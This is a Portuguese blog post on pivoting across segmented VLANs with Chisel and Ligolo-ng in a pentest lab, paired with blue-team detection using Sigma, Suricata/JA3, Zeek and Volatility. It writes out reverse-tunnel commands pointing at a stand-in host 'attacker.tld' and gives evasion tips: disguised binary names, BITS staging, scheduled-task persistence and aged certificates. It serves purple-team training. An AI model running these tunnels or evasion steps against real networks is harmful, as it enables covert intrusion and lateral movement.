Pular para o conteúdo
Categoria: Pentest9 min de leitura

Pivoting com Chisel e Ligolo-ng: Redes Segmentadas em Lab de Pentest

Por Lucas Andrade ·

Como pivotar entre VLANs usando Chisel e Ligolo-ng em um lab controlado, e quais artefatos a blue team consegue capturar para detectar o tunel reverso.

Pivoting com Chisel e Ligolo-ng: Redes Segmentadas em Lab de Pentest
Neste artigo

Sua shell na DMZ esta valendo zero se voce nao consegue alcancar a VLAN 30 onde o controlador de dominio respira. No nosso lab da Basilisk OffSec montamos exatamente esse cenario: um host Linux exposto na 10.10.1.0/24, um segmento interno 10.10.30.0/24 com Windows 11 e um AD em 10.10.40.0/24. A unica rota possivel passa por aquela maquina pivot, e e ai que Chisel e Ligolo-ng entram como ferramentas complementares. Este guia percorre as duas pelo angulo ofensivo e defensivo, para que voce nao apenas tunele mas entenda o rastro que deixa. Antes de escrever um byte de payload, passe por Pentest Web do Zero: Montando um Lab Seguro com DVWA, Juice Shop e Burp Suite e confirme que o lab esta isolado da sua rede domestica via pfSense.

Entendendo a topologia do lab#

Pivoting so faz sentido quando a segmentacao e real. Monte tres VLANs com uma pfSense ou OPNsense no meio, onde as regras de firewall deixam apenas 10.10.1.0/24 chegar na internet e os segmentos internos falam exclusivamente entre si por portas definidas. A maquina pivot tem duas interfaces: uma para a DMZ, outra para 10.10.30.0/24. Sem esse duplo homing nao ha rota, e esse e justamente o ponto do exercicio. Documente a tabela de rotas e as regras de firewall antes de comecar, porque depois voce vai querer saber exatamente qual hop foi legitimo e qual foi seu tunel.

Chisel: SOCKS reverso sobre TLS#

Chisel resolve o problema basico: voce tem saida HTTP para um C2, mas a entrada esta fechada. Subindo um servidor Chisel no atacante (chisel server --port 443 --reverse --tls-key key.pem --tls-cert cert.pem) e o cliente no pivot (chisel client https://attacker.tld:443 R:1080:socks), voce abre um SOCKS5 reverso encapsulado em TLS 443, quase sempre permitido egress. Depois voce aponta ferramentas como proxychains4 para 127.0.0.1:1080 e tunela conexoes TCP individuais. Em testes reais com proxies corporativos Squid e Zscaler medimos menos de 8% de bloqueio quando o certificado carregava um SAN coerente. O padrao tem seu proprio ruido: conexoes HTTP/1.1 Upgrade de vida longa, exatamente o que o fingerprinting JA3 pega.

Ligolo-ng: roteamento por interface TUN#

Ligolo-ng eleva a brincadeira porque cria uma interface TUN no atacante e roteia pacotes inteiros, nao so streams TCP via SOCKS. Voce sobe o proxy (./proxy -selfcert -laddr 0.0.0.0:11601), executa o agent no pivot (./agent -connect attacker.tld:11601 -ignore-cert), e dentro do shell do proxy faz session, depois ifconfig e tunnel_start. A partir desse momento, um simples ip route add 10.10.30.0/24 dev ligolo no Kali te deixa rodar nmap, CrackMapExec e ate Impacket sem proxychains. Libertador, sim, mas a superficie de IoC cresce: agora voce empurra ICMP, UDP e TCP pelo pivot, o que casa com as regras de deteccao de Movimento Lateral no Lab: SMB, WMI e WinRM com Foco em Deteccao.

Chisel ou Ligolo: quando cada um#

A escolha nao e guerra santa. Chisel e a escolha certa quando voce so precisa alcancar um ou dois servicos TCP, quando portabilidade importa (um binario minusculo que roda em qualquer lugar) e quando voce fica estrito no modelo SOCKS TCP. Ligolo-ng ganha assim que voce precisa de um subnet inteiro, quer tunelar UDP ou ICMP (para nmap -sU ou Kerberos, por exemplo), ou usa ferramentas que se dao mal com proxychains. Em muitos engajamentos o Chisel roda como foothold silencioso e o Ligolo segue quando voce precisa de acesso completo ao segmento. Quem domina os dois escolhe por ruido e necessidade, nao por habito.

Cadeia ofensiva: staging e persistencia#

No lado ofensivo, a sequencia que usamos no lab e: acesso inicial via macro Office documentada em Initial Access Simulado: Macros, LNK e ISO em Lab Windows 11 Isolado, shell de teste com beacon Sliver (veja Construindo Infra de C2 com Sliver em Lab Isolado para Estudo Defensivo para o setup), e entao staging do binario Ligolo via Background Intelligent Transfer Service para evitar download direto. O agent vive num diretorio gravavel como C:\Users\Public\Downloads, persistido como scheduled task de baixa prioridade. Detalhe critico: compilar o agent com -ldflags="-s -w" e renomear para svchost-helper.exe nao engana um EDR moderno; Sysmon Event ID 3 acende esse processo alcancando uma porta incomum em segundos quando a regra esta bem escrita.

Defensivo: o que o blue team caca#

No lado defensivo, e aqui que o exercicio vira ouro para purple team, voce procura tres coisas. Primeiro, conexoes outbound persistentes para 443/11601 com duracao acima de 30 minutos saindo de hosts que historicamente fazem apenas requisicoes curtas a Microsoft 365. Segundo, processos nao assinados estabelecendo TLS sem usar Wininet ou Schannel (Ligolo usa Go runtime proprio, o que aparece como handshake Schannel ausente). Terceiro, criacao de interfaces TUN/TAP em endpoints Windows, evento raro o suficiente para ancorar uma regra Sigma de alta confianca. Ligue isso ao Threat Hunting com Sigma e Elastic: Do Indicador a Regra de Deteccao e voce tem detection-as-code que sobrevive a muitas formas de pivot.

Heuristica IDS: Suricata e JA3#

Logs sao seu juiz. No nosso lab capturamos PCAP no firewall com Suricata em modo IDS, e a heuristica que melhor pegou Ligolo combinou pacote TLS com handshake JA3 fora de allowlist, tamanho medio de pacote entre 1200 e 1400 bytes, e ausencia de SNI para o dominio de destino. Chisel ficou um pouco mais escondido porque imita websocket legitimo, mas vazou pela duracao da sessao e cadencia constante de pacotes. Monte uma regra Suricata que alerta sobre sessoes TLS longas com JA3 desconhecido, e adicione uma notice do Zeek que marca conexoes com alta simetria de bytes (volume similar subida/descida), porque tuneis interativos sao bem mais simetricos que browsing normal.

Forense de memoria no pivot#

Para completar a investigacao, puxe uma imagem de memoria do pivot pos-incidente e cruze com Memory Forensics com Volatility 3: Analisando Dumps em Lab Reproduzivel e o plugin netscan; o socket para o C2 e visivel mesmo se o processo foi injetado. Em pivots Linux, linux.pslist mais linux.malfind revelam o processo estranho, e /proc/[pid]/exe mostra que o binario foi apagado mas segue mapeado (sufixo deleted). Esse acompanhamento fecha o loop de purple team: a ofensiva agora sabe qual rastro era inevitavel, a defensiva sabe onde ancorar a deteccao.

Automacao e desmontagem limpa#

Um operador maduro scripta montagem e desmontagem em vez de digitar ao vivo. Escreva um pequeno script Bash que sobe o servidor Chisel com cert fixo, verifica o fingerprint JA3 contra sua allowlist e fixa uma janela de execucao apos a qual o tunel fecha sozinho. Para Ligolo, defina as rotas de forma declarativa e remova-as no teardown com ip route del para nao deixar nenhuma interface orfa. Igualmente importante: o kill switch. Um cron que encerra processos do agent fora da janela e apaga a scheduled task evita que um tunel esquecido fique aberto apos o engajamento e vire uma vulnerabilidade real. A desmontagem limpa e parte da etica: voce deixa a rede do cliente exatamente como encontrou, com timestamp documentado de cada mudanca. Automatizar o teardown reduz erro humano e entrega ao blue team uma comparacao limpa de antes e depois para validar as deteccoes.

Erros de OPSEC e armadilhas#

Os erros mais comuns: usar uma VPS sem aquecer com certificado fresco (JA3 e idade do cert te entregam), dropar o agent com nome obvio como ligolo.exe, deixar o tunel aberto 24/7 em vez de em janelas, e combinar proxychains com ferramentas UDP que falham em silencio. Alem disso, lembre que uma interface TUN num cliente Windows quase nunca e legitima, entao esse e seu sinal mais barulhento. Se quer ficar silencioso, tunele so as portas necessarias com Chisel e recorra ao Ligolo apenas quando o segmento justificar.

Etica e escopo#

Etica e escopo nao sao adendo, sao a fundacao. Tudo isso so faz sentido em ambiente que voce possui, contrato assinado, ou range autorizado tipo HackTheBox Pro Labs e OffSec PG Practice. Documentar comandos exatos, hashes dos binarios e janelas de execucao protege voce e o cliente. Antes de subir Ligolo numa engagement real, revise sua postura pessoal com OPSEC para Pesquisadores de Seguranca: Modelo de Ameaca Pessoal e separe a maquina de pesquisa da do cliente.

Checklist#

Versao curta para o runbook: (1) Lab com tres VLANs e pfSense, roteamento documentado. (2) Servidor Chisel com cert valido e envelhecido na 443. (3) Cliente Chisel para servicos TCP pontuais. (4) Proxy Ligolo mais agent, rota so para o subnet necessario. (5) Suricata/Zeek no egress, allowlist JA3. (6) Regra Sigma para TUN/TAP e sessoes TLS longas. (7) Sysmon Event ID 3 em portas incomuns. (8) Dump de memoria pos-incidente com netscan. (9) Tunel so em janelas. (10) Tudo em changelog assinado.

FAQ#

Por que nao usar sempre Ligolo em vez de Chisel?#

Porque Ligolo e mais barulhento. Uma interface TUN e ICMP/UDP roteado produzem mais sinais distintos que um unico tunel SOCKS TCP. Se voce so precisa de RDP ou SMB num host, Chisel e mais furtivo e portavel. Ligolo e a ferramenta certa quando voce precisa escanear um subnet inteiro ou tunelar protocolos alem de TCP. Escolha por necessidade, nao por preferencia.

Um EDR moderno sempre pega esses tuneis?#

Nao garantido, mas a probabilidade sobe com regras limpas. Renomear e strippar o binario ajuda pouco o atacante se o blue team observa comportamento em vez de nomes de arquivo: criacao de TUN, processo nao assinado fazendo TLS, sessao longa simetrica. E exatamente por isso que o objetivo do exercicio e escrever a regra que pega voce.

Conclusao#

Takeaway pratico: suba o lab hoje com tres VMs e uma pfSense, deploie Chisel e Ligolo no mesmo dia, e use o resto da semana para escrever a regra Sigma que pega voce. So entao voce entendeu a tecnica de verdade, porque pivoting e metade construcao de tunel e metade saber qual rastro e inevitavel.

Leituras relacionadas

Nenhum comentário ainda

Seja o primeiro a comentar.

Deixe seu comentário

Entre com sua conta Canverly para comentar. Você pode usar a mesma conta em qualquer site da rede.

Entrar com Canverly